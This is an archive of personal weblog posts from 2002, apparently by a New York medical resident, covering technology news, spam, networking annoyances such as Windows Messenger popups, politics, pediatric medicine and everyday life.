Over the past few years, I’ve heard rumors that the reason Internet Explorer loads web pages so much faster than its competitors was that it takes liberties with the way that it requests the pages. Finally, someone put the effort into analyzing the conversation that the web browser has with servers, proving that the rumors are true, and that as a result, there’s a built-in advantage to using Internet Explorer with Microsoft’s own web server. And as much as I love IE (and generally defend the actions of Microsoft in the software market), I don’t like that the company is playing loose with the fundamental specs that govern how machines talk to each other on the Internet.

It should surprise nobody that the Raelians have backed out of the promised DNA tests on Eve, the ostensibly cloned baby. (And on the subject, Jim Lewis has a thought-stimulating article over at Slate about how cloning introduces much confusion into the whole issue of how Eve is related to the woman who bore her.)

For the three or four of you who don’t already know about it, go check out Ticketstubs, the latest project of the esteemed Matt Haughey. And of course, if you have any of your own ticketstubs with memories, go contribute!

The more astute readers here will note that the “currently reading” slot over there at the right finally changed to a new book today. For the past month, I was stuck on Dave Eggers’ You Shall Know Our Velocity, but the timespan was no fault of Eggers, but rather, of working weird shifts in the hospital and spending a lot of time with my family (not to mention being a good holiday elf). Despite this, my pile of books-to-read has grown; it’s time to buckle down.

Last-minute ski trips are the best ski trips.

I don’t get something. If Raelians claim that the human race exists on Earth as a result of extraterrestrials cloning themselves and placing us here, then how can they claim today that they have created the first cloned human? Doesn’t that first group of people — created in the laboratory 25,000 years ago by aliens — represent the first cloned humans? Honestly, this seems a bit contradictory. (And wouldn’t you figure that having enough money to embark on a human cloning experiment would also mean you’d have enough money to keep your website up and running?)

Merry Christmas! With the snow here in the Northeast, it’s really feeling like a blustery winter wonderland; I hope that everyone is happy, safe, well-fed, and sharing today with the people they love.

As my departure from New York City gets closer (yeah, yeah, June isn’t that far away!), I’ve started to find more and more things about the big city that I either already love and will miss, or need to find time to do in order to love and miss. Last night, while coming back from a holiday party with Shannon and another couple, we all caught glimpse of the Roosevelt Island Tram, all lit up for the holidays and calmly gliding across the East River. Seeing it, I decided that a round-trip ride on the gondola has to be elevated to the top of the need-to-do list; lucky for me, Shannon agrees, as did our friends, and it’s in the on-deck circle for the new year.

Free e-commerce site design lesson number 112: don’t randomly empty your customers’ shopping carts.

In the past two weeks, I’ve experienced the same problem at two different big, well-established online stores. In the course of browsing, I added a few items to my shopping cart, and then when I checked out, I was asked to create a login to the site. On both sites, when I was done creating the login, my shopping cart was empty; the act of starting a new account and logging me in caused the sites to lose track of what I was buying. Having to go back and hunt down all the items that were dumped (and choose the right styles and options) was annoying enough that I’ll definitely think twice before shopping on the sites again.

(That being said, for certain things, shopping online is a hell of a lot nicer than enduring stores in Manhattan between Thanksgiving and Christmas!)

Out of all the press that Trent Lott has generated over the past week, there’s a condemnation in the letters to the editor section of the Philadelphia Enquirer today that stands out, insofar as it was written by Theodore A. McKee, a sitting judge on the U.S. Court of Appeals for the Third Circuit. It’s a pretty ardent piece, recalling much of the legacy of Strom Thurmond and the effort that went into overcoming the hatred. Granted, Lott has done quite a bit over the past week to attempt to place his Strom Thurmond comments in some sort of context; I find myself in the (rare) position of agreeing with Mike Wasylik in thinking that Lott may be more of an idiot than a racist. Unfortunately for him, though, that idiocy demonstrated a remarkably thick amnesia about Thurmond’s past, and it very well may get him canned.

Congrats to Larry Lessig, Matt Haughey, Aaron Swartz, and all the many other folks at Creative Commons for their launch today! I see the Commons as a very ambitious undertaking, aiming both to make intellectual property rights more accessible to the people who produce content and to encourage those producers to allow greater reuse of their content. I’m anxious to see how people start using the licenses, and how developers integrate the licensing schemes into content production software (like Movable Type).

I’ve always been intrigued with distributed computing — harnessing the power of many computers in order to complete a single task, like cracking encrypted information, or discovering how proteins are folded, or even searching for extraterrestrial life. That’s why I’m floored with Gateway’s announcement that the company intends to create a huge distributed computing network comprised of all of the in-store floor model computers. What a cool idea! (A little more detail is available from arstechnica.) Gateway already has the computers sitting there, doing precious little (and even then, for less than half the day), and the incremental cost to installing a small piece of client software is negligible.

Of course, the next logical step will be offering a slight computer discount to customers who are willing to allow the distributed networking software to continue running after the machine is purchased. Juno tried something similar with the Juno Virtual Supercomputer Network — offering free Internet access in return for running number-crunching software — but the effort was short-lived, mostly because the company failed to notify customers that it was adding the feature to their software. Offering the option to customers up-front may be a better way to get acceptance, and potentially worth more than Gateway’s failed attempt at being an ISP.

AnandTech has a review of the new Tablet PC (or, more specifically, the FIC SlateVision) that made me want to run out and get one. It’s easy to rationalize how my next laptop should logically be a tablet, or how much I could use one on my fellowship next year… but, then again, it doesn’t take much to get me to start rationalizing new gadget purchases. The tablet I’ve really had my eye on is the PaceBook, with a cool on-screen touchtype keyboard (but with no wireless, strangely). I just wonder if the processor — the Transmeta Crusoe — can hold up. Has anyone spotted the perfect Tablet PC?

The Public Internet Project — a cool research database comprised of all the wireless network access points that are accessible from the streets of New York City — got a lot of ink today, in both the virtual and rubs-off-on-your-hands-real sense. It’s a snapshot-in-time glimpse at how fast wireless has permeated the computing world of the Big Apple, and a sobering look at how few of the wireless nodes actually have any security in place. (Granted, some of them aren’t intended to be restricted, but I’m willing to go out on a limb and say far more were merely set up without any thought given to security.) Obviously, Manhattan’s sheer population density contributes to the impressive nature of the map; I wonder what maps of wireless nodes in other cities would look like, or what the Manhattan map would look like if wireless nodes on upper stories of buildings were included in it.

(With all of the clickthrough traffic that the PIP has generated today, though, am I really the only person so far who’s noticed that all of the graphic banners actually say “Public Intetnet Project”? Update: fixed now. Cool.)

Oh, this is great. Alan Ralsky granted the Detroit Free Press an interview, during which he bragged about his ability to send over a billion unsolicited email messages a day and gave the columnist a tour of the $740,000 home/computer center that he built with the money he’s earned sending out other peoples’ spam. Slashdot users discovered the address of the new home and posted it online; this led to the mysterious appearance of tons of unsolicited real mail in his mailbox. Needless to say, Ralsky isn’t amused, but after having deleted over 1500 junk messages from my spam filter inbox, I’m plenty happy to see that he’s being forced to lie in the bed he made.

Bookmarks for next week’s threatened New York City transit strike: NYC strike information center, NYC MTA home, NY1’s transit page, Daily News’ Gridlock Sam.

Am I the only one that sees the irony in VeriSign, the company which may well have the absolute worst record in customer data verification, announcing a service to help other companies verify the identities of their customers? Honestly, is there any plan for them to use the system to verify the information about VeriSign’s own customers?

Another good find in the science section of today’s New York Times: an examination of vipers, from their behaviors to their unique physiology. Most interesting to me was the fact that certain vipers can go over a year without defecating, using retained feces as metabolically-inert ballast that anchors the tail ends of their bodies to the ground as they strike out with their fangs.

Nature is damn cool.

Great, just what the already-troubled American educational system needs: a study in the Journal of the American Medical Association demonstrating that Internet filters in schools and libraries also manage to prevent access to healthcare information. The New York Times has an article about the study, including a hope that administrators learn from the results and ratchet down the settings of the filters. The article also mentions the forthcoming Supreme Court arguments about the government mandate to use filters; it doesn’t make clear, however, that the only issue in front of the Court is the use of Internet filters in public libraries, and that use in schools has already passed legal muster.

I think it’s damn funny that, in Leander Kahney’s wrap-up article about his five-part series on Mac loyalty, he exhibits (and denies!) the exact same traits that he spent five articles detailing. Macs as psychosexual tools? Yes for others, no for him, but he does want “to touch them, feel them, caress them.” Owners are more obsessed with Apple as a brand than Macs as products? Yes for others, no for him, but he does acknowledge that “every time Apple comes out with something new, I want it. My god, I want it bad.” It’s either a great way to assuage the authors of the reams of flame mail he got, or a funny way of demonstrating that his series was based in the reality of his own life.

first snowfall 2002

After a weak-as-hell attempt last week, we were hit but good today with a snowstorm. I love the first real New York blanket of fluffy white; there’s something about it that the rest of the winter’s storms aren’t able to touch.

Honestly, I hadn’t the slightest clue that today was the third birthday of this site until Danielle posted a happy comment earlier. I can’t believe that I’ve been at this for three years; I guess I did start throwing my nonsensical thoughts at unsuspecting readers right about when my medical school workload lightened and residency interviews started. I have to say that I’ve learned a lot through this site, from new programming languages and better content management skills to more effective writing techniques and even standards design. I’ve made some good friends, met a particularly amazing lady, learned about more than a few great products, and become a member of a community that I admire.

It’s been a fun ride.

I have no idea what I’d do with it, but I think it’d be damn cool to have an Axis Device Server Platform. It’s a box with a 100 MHz processor, an ethernet port, two serial ports, 4 Mb of flash and 8 Mb of RAM; Axis even provides a Linux distribution that runs on the box without a sweat. It’s the same hardware/software combo that runs the Axis network cameras (like the QuesoCam) and print servers, but in a form that can be integrated into your own embedded device. Wonder what I could do with it?

One reason why Columbia University deserves cheers: starting tomorrow, all NetBIOS traffic coming into or leaving the university’s network will be blocked, preventing denizens of evil from accessing poorly-configured student computers on the network (and preventing Windows Messenger spam).

One reason why Columbia University deserves jeers: in the recommendations for email programs, Netscape 6 is unsupported because it’s “unstable and buggy,” yet Netscape 4.7 is both highly supported and recommended. While I’m not saying that Netscape 6 is a dreamboat, I can’t remember when I used a more unstable and buggy app than Netscape 4.7.

(All this was found while hunting for instructions about setting Entourage up to use secure mail transport.)

For those of you so persuaded, Leslie Harpold’s 2002 online advent calendar is up and running. Not quite as fun as flipping open the little doors, but to compensate, a whole lot more each day than those little compartments could ever hope to hold.

Maureen Dowd has a spectacular op-ed piece in yesterday’s New York Times on Bush’s choice of Henry Kissinger to head the official government investigation into the events of September 11th, 2001. She’s as irreverant as you’d expect her to be, and assuredly pulls no punches in addressing Kissinger’s legacy. The piece is worth a read, if only for the line, “Now Mr. Bush can let the commission proceed, secure in the knowledge that Mr. Kissinger has never shed light on a single dark corner, or failed to flatter a boss, in his entire celebrated career.”

The weblogs found over at The Nation also provide a few observations on Kissinger’s appointment. David Corn devotes a little column space to details about the former Secretary of State’s record as a potential war criminal; John Nichols concludes his own shorter look at the appointment with the idea that there’s a slim chance Kissinger will look at this opportunity as a way to redeem himself, but that “no one who cared to find out what really led up to the terrorist attacks on New York and Washington would gamble an investigation so important as this on so remote a prospect.” Good stuff.

Six weeks ago, the mother of a five month-old baby girl noticed that her daughter was breathing rapidly. She had never been to the pediatrician before — somehow, the mother had managed to avoid all of the regular infant visits — but she knew that there was something wrong with her daughter’s health, and felt that a doctor’s visit was in order. The pediatrician took one listen to the baby girl’s heart and also knew that there was something wrong; after being shipped to the local hospital for an echocardiogram, the heart specialists confirmed that the baby’s rapid breathing was a consequence of a congenital heart condition that had slowly caused fluid to back up in her lungs, and they arranged for her to be transported to our hospital for emergent surgery. On the morning of the surgery, the infant was found to have a severe viral infection of her lungs, one which had a significant impact on the chances of her surviving the operation. Her surgery was postponed, and she returned to the intensive care unit to await the time when her lungs would be ready.

During the time that she was waiting, a tube of the infant’s routine bloodwork was dropped in the laboratory, splashing in a lab tech’s eyes. This event triggered a routine hospital response; whenever an employee is directly exposed to blood, steps are taken to help determine the need for treating with medications to help prevent the spread of HIV and other communicable diseases. Among other things, routine consent was obtained from the parents to run HIV antibody tests on the infant’s blood, and most everyone (except the lab tech) promptly forgot that the precautionary tests had even been sent. Thus, nobody was prepared for the phone call that we received three days later: the tests were positive.

Immunologically, five month-olds live in two worlds — their own immune systems are up and running, but they also still have their mothers’ antibodies floating around, helping to fight against infection. Because of this, further tests had to be run to determine if we were seeing the signs of a maternal infection or a pediatric one. In addition to a few confirmatory tests on the infant, blood was sent on both parents, hunting for the source of the antibodies that we were seeing on the positive tests. All of the further testing on the infant has, thus far, come back negative; both of her parents, however, have proven to be HIV-positive. In the flash of a single broken test tube, a family learned that both parents are infected with the virus that causes AIDS, and that their daughter is still not out from under its shadow. Upon further questioning, we learned a piece of information which completed the depressing epidemiologic tree: the father was infected by HIV while in prison, the mother was infected by the father, and the baby was exposed while in utero. Three lives have been placed in jeopardy by a single deadly virus.

Today, both parents have a good chance of living to see their daughter grow up, thanks to advances in HIV and AIDS therapy which have extended the life spans of those infected by decades, if not longer. The emotional toll that the virus takes on children and their families is not as easily addressed, though. Fortunately, organizations like the Elizabeth Glaser Pediatric AIDS Foundation and the Children Affected by AIDS Foundation focus on enhancing the lives of children and families with AIDS, and better medical information up front helps people more clearly understand how to avoid contracting HIV. Only through this two-pronged approach — better medical research and wider social acceptance — will we tame this modern beast.

link and think / world AIDS day 2002

Today, in the four hours that I played pool with Shannon’s dad, the cellphone of the teenage guy at the table next to us rang somewhere in the vicinity of thirty times. He probably spent two of the four hours on the phone. At some point during the time I spent there, a young lady friend came to join him; we only saw them speak to each other twice, but at least four times, he and she were on their cellphones at the same time, wedging them between their ears and shoulders while shooting.

I wonder which will happen first: (a) cellphones will cease to be so damn annoying; (b) society will relegate cellphones to the status held by cigarettes a decade ago, wherein some places ban them outright, others accept them, and yet others give patrons a choice. Personally, I can’t wait for a restaurant to ask me: “Would you like cellphones or no cellphones, sir?”

New York City’s supposed to get its first snowstorm of the year tonight, further reinforcing the complete absence of the season of autumn this year. It should prove to be an enormous pain in the ass for anyone travelling through the tri-state area over the Thanksgiving holiday, but on the flip side, there’s almost nothing as awe-inspiring as New York City with its first blanket of snow of the season. (Feel free to watch a less awe-inspiring picture of any snowfall over at the webcam; since I’ll be at work through midnight or one in the morning, if you see any cool images, please send them along to me!)

If you haven’t heard yet, Linksys is making yet another aggressive move in the wireless marketplace by promising “Wireless-G” equipment by Christmas that supports the draft 802.11g standard. (That’s the wireless networking standard that supports the speeds of 802.11a in the frequency band of 802.11b.) In reading the press release and product pages closely, though, I noticed that Linksys never promises that the equipment will be able to be upgraded to the final 802.11g standard once it’s ratified. Interested, I emailed them about this, and after a few attempts at avoiding answering the question, I was able to get the sales representative to state specifically that owners will be able to flash the gear up to the final standard once it exists.

Just thought you’d like to know; if you’re thinking about buying a wireless access point for someone for the holidays, you may want to consider one of these puppies, because with that information, they look great.

It’s been about 24 hours now that I’ve had my iPod, and I’m pleased as punch with it. Despite putting a lot of effort into getting a Windows-specific unit, I wound up with a 10 gigabyte iPod for the Mac; because of that, I have put some serious web time in over the past day, looking for information that would help me understand exactly how this iPod is different from the one that I wanted, and what I’d have to do to easily use it. All the information’s out there, and now I figure it’s my turn to sum up how to use your Mac iPod with your Windows machine.

my new iPod!

My brother and I walked into an electronics store today to investigate MP3 players for him, and while he didn’t get anything, I ended up with a new iPod. (I particularly love Steve Jobs’ poignant message emblazoned on the cellophane wrapper.) Time to play…

It must just be me, but I can’t see how loosening pollution restrictions on energy producers encourages emissions reductions. Of course, I’ve come to expect this of the current administration; what’s more disappointing, though, is that every story I’ve read on these new EPA rules just repeats that quote, without ever questioning how it could possibly be true. What happened to hard journalism?

If there’s anyone out there who wants to send along a Christmas present, I’d be happy to find one of these under the tree next month. It looks like the first mainstream computer to be built on Shuttle Computer’s X PC chassis, and it’s a doozy. As Anil said, they finally got the PC right.

One of the things I love about TiVo is that there’s always been a strong hacker community; hell, it’s why I got my TiVo in the first place (the ability to use the fruits of their labor to quadruple my storage capacity). This community has also spent a lot of time discovering a group of “backdoor” codes, sequences that a TiVo user can punch into the remote control to enable special features (like a 30-second skip mode); all these codes require that a master backdoor password be entered first, enabling them to be used. Each version of the operating system has had a different password, and discovering each password has been an important part of maintaining access to the special features.

Alas, the latest version of the TiVo operating system introduced a few new barriers to getting the master backdoor password. Unfazed, though, the community rallied, and now have a distributed computing project running to try to crack the code; they’ve already ripped through an unbelievable number of possibilities, and (as with all distributed computing projects) offer anyone the ability to download a client to contribute to the effort.

Awesome.

Traditional spam-catching systems work by predicting the likelihood of a piece of email being an unsolicited ad. The task of prediction isn’t easy, though, and as a result, users still have to deal both with unwanted mail that gets through the filters and with legitimate mail that’s caught and filtered away. As a result, there are a few ideas floating around out there about alternate approaches to the unsolicited email problem, approaches that try to achieve lower false-positive and false-negative rates. Two that caught my eye today are IronPort’s Bonded Sender Program and Habeas’ Sender Warranted Email.

The Bonded Sender Program turns the traditional approach around, aiming to guarantee that a specific piece of mail is not spam. It’s able to do this because companies contract with, and pay, IronPort to list their outgoing mail servers in a database of machines guaranteed not to send spam. Then, when your mail server accepts a piece of mail from a machine, it checks to see if that machine is listed in IronPort’s database, and if it is, the mail flows through any spam filters and into your inbox. This seems like a great way for companies that operate legitimate, double-opt-in email lists to make sure that their sales missives reach the intended audience — it appears to be poison-proof (meaning that spammers can’t fake the system into thinking that they’re legitimate), and at least one of the big spam filter providers, SpamAssassin, is on board.

Sender Warranted Email works in another way, and one that I can’t imagine will be able to sustain itself. Senders “warrant” that their email isn’t spam by including a “trademarked, copyrighted” set of headers that they’ve paid for the right to use; it’s these headers that filters look for to decide that the mail is legitimate. Habeas promises to aggressively sue anyone who uses the headers without the right to do so, providing the teeth behind the system. (Wired News wrote about this back in August.) Unfortunately, I envision that almost every piece of unsolicited email will soon include the headers, in an effort to overwhelm Habeas and make the company unable to go after everyone who is circumventing the rules. (You know the signature block that still graces the bottom of mail unsolicited emails, claiming to be acceptable under some obscure Senate rule? Same thing.)

Despite the questionable long-term effectiveness of Habeas’ approach, I applaud both companies for coming up with new ways of attacking the problem. With spam making up an estimated one third of email sent daily, someone’s got to tackle this problem before it takes the entire mode of communication down with it.

Another intrepid urban adventurer, David F. Gallagher, took a trip along the High Line and brought back some damn fine pictures. (Proving that there isn’t always a concrete divide between word people and picture people, you might recognize David’s name from the pages of the New York Times and Slate; don’t mistake him for Simon from 7th Heaven, though!)

This weekend, Neil Swidey of the Boston Globe published a pretty good article describing the ways that big pharmaceutical companies keep their profits high at the expense of the American public. The centerpiece of the article was AstraZeneca’s push to get people to move from the anti-ulcer medicine omeprazole (Prilosec) to its close cousin esomeprazole (Nexium), a push that’s being made both in the doctor’s office and via direct-to-consumer advertising. The relatively obvious reason for AstraZeneca’s efforts is that the patent on omeprazole is expiring, an event which will have predictible effects on the $4.6 billion in Prilosec sales the company experienced last year. By working hard to get people to ask for Nexium, and to get doctors to preferentially prescribe it, AstraZeneca can help build another profitmaker for itself.

If Nexium is an effective anti-ulcer medication, why do I have such a problem with this? Easy — because while it’s effective, it appears to be no more effective than omeprazole, or even than lansoprazole (Prevacid, made by another pharm company). AstraZeneca’s efforts to make it appear more effective even provide a textbook lesson in why scientists should look at published studies closely for false comparisons; the study performed by AstraZeneca showing an apparent benefit compared 40mg of esomeprazole with 20mg of omeprazole, which is akin to saying that the V6 Subaru Outback sedan is faster than the V4 wagon. (If you look closely on the second page of the package insert for the drug, you’ll even see this disclaimer: “There are no comparisons of 40 mg of NEXIUM with 40 mg of omeprazole in clinical trials assessing either healing or symptomatic relief of erosive esophagitis.”) And when the comparison in cost to consumers and insurance companies is as great as around $4 a pill versus a small fraction of that for a generic version of omeprazole, it’s a real issue.

Probably the most disappointing aspect of all this to me is how physicians are just rolling over and doing exactly what the pharm companies ask them to do. There are way too many doctors who either don’t know or don’t care about the scientific evidence involved, who’ve lost sight of the bigger picture of cost to the American healthcare system, and who are way too susceptible to the free lunches, nights on the town, and junkets to “conferences” at warm beach resorts. These are usually the same doctors who complain the most about new insurance industry constructs like pre-approval for nonstandard medicines, when the only reason such constructs exist is the overprescription of medicines like Nexium. All in all, it makes me sad to watch the nobility of medicine take such a big hit from pure profit greed.

The best part of Salon’s review of Harry Potter and the Chamber of Secrets is the description of Gilderoy Lockhart as “the Cornel West of Hogwarts” — “the fellow who’s happy to sign copies of his books for his adoring admirers, but who doesn’t know (or care) enough about his specialty subject to be any good at teaching it to his students.” (Incidentally, contrary to the general tenor of the review, I really enjoyed the movie and recommend it unreservedly.)

In all honesty, if I go the rest of my life without seeing another close-up of Michael Jackson’s surgically-mangled face, I’ll be just fine. Really.

One of the Achilles’ heels of weblog software has always been formatting. For the most part, people use their web browsers to update their sites, typing their words into little text boxes. These text boxes don’t provide much flexibility in terms of showing authors any character formatting that they add to their posts, nor do they provide much lattitude for determining line breaks or other paragraph-based formatting that we’ve all grown so accustomed to controlling in modern-day word processors.

The first problem is the easier of the two to manage; so long as you’re running Internet Explorer, most weblog software deals with it by providing a formatting bar allowing at least for bold and italic text. While this suffers from a few problems — it doesn’t let authors actually see their formatted text, and it obligates authors to use presentational tags rather than logical ones — it does show them a crude derivative version of their formatted documents, and that’s a step in the right direction.

The second problem is tougher, though, mainly because software has to employ a predictive algorithm in order to figure out how authors want to break the lines in their text. Should the software adhere to the strict meaning of whitespace in HTML, and ignore it? On the other hand, should it carry the word processing paradigm over to HTML, and translate carriage returns and double carriage returns into line breaks and line spaces? Manila never has handled this right, offering no choice to the author and using terrible HTML markup which makes compliance with XHTML standards or proper use of CSS an absolute impossibility.[*] Many of the other popular weblog software provides a “convert line breaks” option, but ends up stomping on an author’s occasional attempts to explicitly control a paragraph’s formatting.

One thing I love about Movable Type, however, is that programmers can extend its functionality with plugins, and one of the more prolific plugin authors, Brad Choate, has done so in a way that allows a great deal more paragraph formatting flexibility for authors. Today, I installed the plugin, and using the “smart_xhtml_p” mode, I’m able to combine MT’s ability to format a post for me with the ability to override the formatting on certain elements. Now, I can maintain XHTML compliance while still being able to apply alternate block-level styles, and that’s a good thing.

[*] And while Manila can do plug-ins, too, they can’t fix its paragraph formatting problem. The way that the relevant code is written, there’s no way to override the auto-paragraph thing without doing some serious modification of Userland code, something that’s generally met with the personal wrath of the software’s author.

I don’t know about you, but I love getting spam like this:

I can just imagine the newbie spammer sitting at his computer, thinking about the millions of work-from-home dollars he was promised as the disc he paid $45 for spins in the CD-ROM drive. “I can’t wait for people to start sending me money for my eBay secrets! Wait… what am I supposed to put into this ‘Subject’ field again?”

There’s an article in the past weekend’s New York Times Magazine that’s pretty disappointing, both because of its sensationalism and because I feel it puts enough baseless doubt in the minds of parents to cause actual harm to their kids.

The article, “The Not-So-Crackpot Autism Theory”, drags out the question of a link between neurologic damage and thimerosal, a preservative that used to be used in vaccines. This isn’t the sensationalism; there is a real question of the safety of thimerosal due to its organic mercury content. Rather, the sensationalism is represented by the baseless leap that the Times author makes between the generic notion of neurologic damage and the specific entity of autism. (To his credit, it’s the same baseless leap made by countless of people in web discussion groups, not to mention thousands of personal injury lawyers.) The idea of vaccine-related autism has only ever been raised as a consequence of one single vaccine (the MMR), and even that has been debunked with the only actual clinical data that’s been gathered on the topic. And the data supporting thimerosal-preserved vaccines as a cause of neurologic damage in infants is weak at best (many vaccinologists feel that it was the need for public confidence in vaccines and the strength of the fear of lawsuits, rather than the strength of any data, that led to its removal from all the routine childhood vaccines).

The most concerning part of this is that the article makes nothing but a single, tangential reference to the fact that thimerosal has been removed from all routine infant vaccines in the United States. Without knowing that there’s no thimerosal in routine use, parents who become concerned by what they read in the article are going to withhold vaccines from their children; that means more morbidity and mortality from H. flu meningitis and invasive pneumococcal disease, not to mention diseases like tetanus and hepatitis. The return of preventable diseases as a consequence of overt conjecture would be a real tragedy.

Wow — someone who sees an entire legal framework in the songs of Bob Dylan. (Thanks to Howard Bashman for the link, and for a generally tremendous legal weblog.)

In what I can’t even fathom was a fair trade, my sister gave me her old (and now unused) ThinkPad 600E for my old Sony Clie PDA, and I’ve been a happy little puppy setting it up to be my new machine-away-from-home. One annoying thing, though, is that IBM doesn’t believe in putting the Windows keys on the keyboard, and as a result, all the shortcuts my fingers have been trained to use aren’t available. After a bit of searching, I tracked down an excellent utility, RemapKey, that’s part of the Windows 2000 Resource Kit. It lets me remap any key to another, and now my righthand CTRL key is standing in as the Windows key. Mucho mejor! (If you’re interested, there appears to be a copy that’s one version out of current available on a German tech support site.)

Belated happy birthday wishes to Jill and Lisa, both 28 years young.

I find it interesting that VeriSign moved one of its root DNS servers this week; I only find it interesting, though, because VeriSign moved it in order to correct a glaring error in its network planning that had existed for years. VeriSign controls both the A and the J root servers (two of the machines that allow you and me to type “www.gringa.org” into our web browsers rather than “209.10.108.198”), but both of the servers were under the same roof and on the same connection to the Internet — totally defeating the purpose of the distributed design of the Internet’s name resolution system. Of course, it’s not all that surprising that the company is just now playing catch-up… it has a tendency to do the right thing only after its competitors make it a business necessity.

Today’s entry in the category of incoherent ramblings of the day: George Brody. (Note that the author isn’t really named George Brody, but rather, Gyongyi Gaal; nobody has a clue what’s motivating her freakish behavior, now or in the past.)

I have to admit that I’m pretty pleased with how the voting process went today in New York City. It took about 20 seconds for the volunteer to verify that I belonged at my (new) voting place; I had to wait another two minutes for the person ahead of me to vote, and then about 60 seconds later, I had exercised my civic duty.

The question is: is there a bulge in the middle of this picture, or is your brain just playing tricks on you? Damn, I love the blurry areas that lurk between what we know and what we think we know.

(Thanks to Akiyoshi Kitaoka for the image.)

Dahlia Lithwick examines a few of the potential legal issues centered around today’s midterm elections; she predicts that the Supreme Court may have learned its lesson with Bush v. Gore, and won’t be quick to step into the fray even if the control of the Senate hangs in the balance.

vj and the angels

I swear, you have no idea how much this picture warms my heart. The guy in the middle (being drowned with champagne) is V.J. Lovero, the team photographer for the Anaheim Angels and a staff photographer for Sports Illustrated Magazine. Just under three years ago, he had a grand mal seizure in his grocery store and was quickly diagnosed with metastatic lung cancer. Out of the blue, V.J.’s doctors gave him six months to live. After taking stock of his life, he decided to fight the cancer aggressively, and now he has the last three years to show for it. Early on, V.J. told me that he wanted to get to the next World Series; I think that it’s poetic that this year brought the World Series to him.

Go New York, go New York, go!

Thanks to a TLC special today, I learned a bit about Colonel Joseph W. Kittinger, Jr., a man who actually jumped out of an open helium balloon at 102,800 feet (that’s 19 and a half miles) above the surface of Earth.

As part of military research into the best ways to secure the safety of pilots who had to eject at high altitude, Kittinger made a series of jumps from balloons, testing parachutes meant to stabilize a pilot against flat spin during the freefall part of descent. On August 16th, 1960, the project Excelsior III got underway, as Kittinger’s twenty-story tall balloon sprung skyward from the White Sands Missile Range at 1,200 feet a minute. It took an hour and a half to settle into the float altitude of over 19 miles above sea level; twelve minutes later, Kittinger started the cameras pointing down from the gondola and stepped off. He plummeted 16 miles in total freefall before his main parachute opened, reaching a top speed of 714 mph. To this day, it marks the first time that man exceeded the speed of sound without the aid of engines, as well as the longest duration of freefall. (It was the highest to date that anyone had gone in unpowered flight, broken by the current recordholders one year later.)

For some good reading on Kittinger’s legacy, check out his own description of Excelsior III in the National Geographic article “The Long, Lonely Leap”, as well as the Airman article “Leap of Faith.”

This past week’s Slate Diary was a great one. It was written by Zac Unger, a Californian firefighter who is the father of a 27-week preemie; he’s done a pretty damn great job of capturing the day-to-day medical issues that the tiniest of preemies face. He also focuses a bit on the issues that I rarely deal with (and thus don’t think about that much), like difficulties with insurance coverage and interactions between parents on a medical ward. And the most interesting twist to Zac’s story: his daughter was carried by a surrogate mother.

Oh my god, are you joking? The New York Times still uses Atex!?! Atex was the publishing system that we used to put out my college paper (and dumped the year after I got there); it was also the system used at the magazine I started working at in college (and was dumped two years after I got there). I know it was powerful and all, but it’s shocking to me that, with its dedicated text-based terminals, cumbersome key commands, and complex workflow, Atex had any life left in it once WYSIWYG editing and color entered the computing landscape. Their new system, CCI NewsDesk, looks pretty cool; in this day and age, it seems like a necessary fact that reporters and writers need to be able to use their publishing system on the same computer that runs their email client, web browser, and custom workflow applications. (Thanks to Anil for the heads-up on this one, and on the Times Talk site in general.)

There has been quite a bit written over the past few days about the fact that Google removes various sites from the search indices that it provides in certain countries. My personal favorite, though, is today’s column by the BBC’s Bill Thompson, lamenting that the removal is done without due process. To Thompson, the real solution is “an internet that is properly regulated,” and “where Google and other search engine providers had a legal obligation to provide full and comprehensive results to the best of their technical ability and to inform searchers of any areas where content had been removed from their index on legal grounds.” Huh?

Hey, Bill, who’d regulate it? Would it be the United States (where, rather than restricting search engine returns, we just try to ban information from the net entirely)? The EU (whose restrictions on speech are what currently have Google caught up in this mess)? How about China? Oh, yeah; obviously, it’d be the United Nations, with an international court and police unit that would enforce the regulations.

Holy pie-in-the-sky idealism, Batman…

And in other spam-related news, there’s been a little bit of hubbub lately about referrer log spamming, mostly centered around this company (which started showing up in my logs on Friday). Proving that web authors are always up for a challenge, though, Mo Morgan has engineered a neat response: a web form that lets you insert whatever you want into the referrer logs of the company that started the fracas. Have fun!

Congrats, Alaina! We’re now just a few short years from having a trustworthy behavioral scientist around to help explain that Anil freak…

While I was at work yesterday, Shannon received another little bit of Windows Messenger spam on my desktop, demonstrating that I had not yet banished this annoyance from my home network. Luckily, there’s been even more progress in tracking down exactly how the messages are sent, and it turns out that I left one last itty bitty port open (UDP port 135).

Before adding a rule banning traffic on that port to my router, I checked the access list logs, and saw that more than 1,500 attempts had been made to send packets over the previously-banned ports. Is Windows Messenger spam becoming this popular?

I enjoyed reading Clay Risen’s article about the business of coming up with brand names over at The Morning News, but couldn’t help thinking that many brand names only seem silly until they become commonplace enough to be unremarkable. Names like Microsoft, Kleenex, and Google now have lapsed into the everyday and ho-hum, but I suspect that each would be mocked outright if it were suggested today. Handspring? Pshaw. Xerox? It’d be ridiculed. Ultimately, I feel like a lot of a brand name’s success depends on the success of the company’s actual product; money is probably better spent on things like quality, usability, and support than it is on coming up with the ultimate name.

In the vein of la tortillita’s note on misused quotation marks, I bring you one of the three pieces of spam that made it through my email filters today:

”Order” today and start ”losing” ”weight” tomorrow with next day shipping. Also take advantage of a ”Free” Consultation for a limited time. ”Viagra” also available.

But wait… maybe the quotation marks aren’t misused. You’re not ordering, you’re being suckered; you’re not losing weight, you’re hemorrhaging money. Likewise, the consultation isn’t free, it costs you your pride, and it ain’t Viagra you’re getting, it’s sugar pills.

Makes much more sense now.

Thanks to Mark Pilgrim and Sam Ruby, there’s now a damn fine RSS validator available. (Am I the only one, though, who thinks it’s a tad bit sneaky to tell Movable Type users that the way to make their RSS 0.91 files valid is to convert them into RSS 2.0 templates?)

Late night ER shifts. Bad family doings. A visit to South Jersey. Starting the pediatric ICU.

Things have been busy.

All this is to say: sorry if I haven’t replied to your email, taken a stab at your new templates, migrated your site off of an infernal piece of junk, or finished off your departmental website. It’s all at the top of my list, and this week, I’ll do everything I can to get it done. Promise.

Remember the Windows Messenger spam that I received, and thought I had dealt with by configuring my network to not accept any Internet traffic from the outside world on the relevant ports? Alas, I was wrong; I received another batch of annoying popup dialog boxes a few days ago. Perplexed, I was — my network fix should have prevented this!

My daily read of Heather, though, led me to Wired’s discovery of the newest method of pissing people off, which shed some light on the situation: the popups somehow use port 135, not the traditional ports 137 through 139. Newly vested with the information, my router should finally be all set to repel this odious form of spam…

